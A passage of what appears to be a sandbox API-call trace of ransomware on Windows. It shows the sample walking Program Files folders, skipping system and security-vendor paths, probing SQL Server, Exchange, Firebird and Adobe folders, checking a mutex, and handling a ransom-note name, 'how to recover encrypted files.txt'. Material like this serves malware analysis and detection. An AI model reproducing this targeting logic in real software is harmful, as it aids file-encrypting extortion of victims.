Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0046.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0046.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0046.110] GlobalLock (hMem=0x440004) returned 0x551178 [0046.110] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.110] GlobalUnlock (hMem=0x440004) returned 0 [0046.110] GlobalLock (hMem=0x440004) returned 0x551178 [0046.110] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.110] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.111] GlobalUnlock (hMem=0x440004) returned 0 [0046.111] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.111] GlobalUnlock (hMem=0x44000c) returned 0 [0046.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.111] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.111] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.111] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.111] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.111] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.111] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.111] GlobalUnlock (hMem=0x44000c) returned 0 [0046.111] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.111] GlobalLock (hMem=0x440004) returned 0x554190 [0046.111] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.111] GlobalUnlock (hMem=0x44000c) returned 0 [0046.111] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.111] GlobalUnlock (hMem=0x440004) returned 0 [0046.111] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.111] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0046.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.112] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.112] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\et-EE\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0046.112] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.112] GlobalLock (hMem=0x440004) returned 0x551178 [0046.112] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.112] GlobalUnlock (hMem=0x440004) returned 0 [0046.112] GlobalLock (hMem=0x440004) returned 0x551178 [0046.112] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.112] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.112] GlobalUnlock (hMem=0x440004) returned 0 [0046.112] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.112] GlobalUnlock (hMem=0x44000c) returned 0 [0046.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.112] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.112] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.112] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.112] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.112] GlobalUnlock (hMem=0x44000c) returned 0 [0046.112] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.112] GlobalLock (hMem=0x440004) returned 0x553188 [0046.112] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.113] GlobalUnlock (hMem=0x44000c) returned 0 [0046.113] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.113] GlobalUnlock (hMem=0x440004) returned 0 [0046.113] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.113] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.113] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.113] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.113] GlobalLock (hMem=0x440004) returned 0x552180 [0046.113] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.113] GlobalUnlock (hMem=0x440004) returned 0 [0046.113] GlobalLock (hMem=0x440004) returned 0x552180 [0046.113] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.113] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.113] GlobalUnlock (hMem=0x440004) returned 0 [0046.113] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.113] GlobalUnlock (hMem=0x44000c) returned 0 [0046.113] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.113] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.113] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.113] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.113] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.113] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.113] GlobalUnlock (hMem=0x44000c) returned 0 [0046.113] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.113] GlobalLock (hMem=0x440004) returned 0x554190 [0046.113] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.113] GlobalUnlock (hMem=0x44000c) returned 0 [0046.113] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.113] GlobalUnlock (hMem=0x440004) returned 0 [0046.113] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.113] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.113] GetLastError () returned 0x12 [0046.114] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.114] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.114] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.114] GlobalLock (hMem=0x440004) returned 0x551178 [0046.114] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.114] GlobalUnlock (hMem=0x440004) returned 0 [0046.114] GlobalLock (hMem=0x440004) returned 0x551178 [0046.114] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.114] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.114] GlobalUnlock (hMem=0x440004) returned 0 [0046.114] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.114] GlobalUnlock (hMem=0x44000c) returned 0 [0046.114] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.114] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.114] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.114] GlobalUnlock (hMem=0x44000c) returned 0 [0046.114] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.114] GlobalLock (hMem=0x440004) returned 0x553188 [0046.114] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.114] GlobalUnlock (hMem=0x44000c) returned 0 [0046.114] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.114] GlobalUnlock (hMem=0x440004) returned 0 [0046.114] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.114] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI") returned 1 [0046.114] GlobalLock (hMem=0x440004) returned 0x551178 [0046.114] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.114] GlobalUnlock (hMem=0x440004) returned 0 [0046.114] GlobalLock (hMem=0x440004) returned 0x551178 [0046.114] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.115] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.115] GlobalUnlock (hMem=0x440004) returned 0 [0046.115] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.115] GlobalUnlock (hMem=0x44000c) returned 0 [0046.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@섪R샾R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.115] GetLastError () returned 0x3 [0046.115] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0046.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@삌R企@\x18권Q\x181")) returned 0xffffffff [0046.116] GetLastError () returned 0x2 [0046.116] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.116] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뻜R企@\x18?T\x18;")) returned 0xffffffff [0046.117] GetLastError () returned 0x2 [0046.117] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@븄R企@\x18?T\x18D")) returned 0xffffffff [0046.117] GetLastError () returned 0x2 [0046.117] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0046.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@삌R企@\x18뻜R\x18j")) returned 0xffffffff [0046.117] GetLastError () returned 0x2 [0046.118] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\") returned 0x39 [0046.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@븄R企@\x18?T\x18q")) returned 0xffffffff [0046.118] GetLastError () returned 0x2 [0046.118] CharLowerBuffW (in: 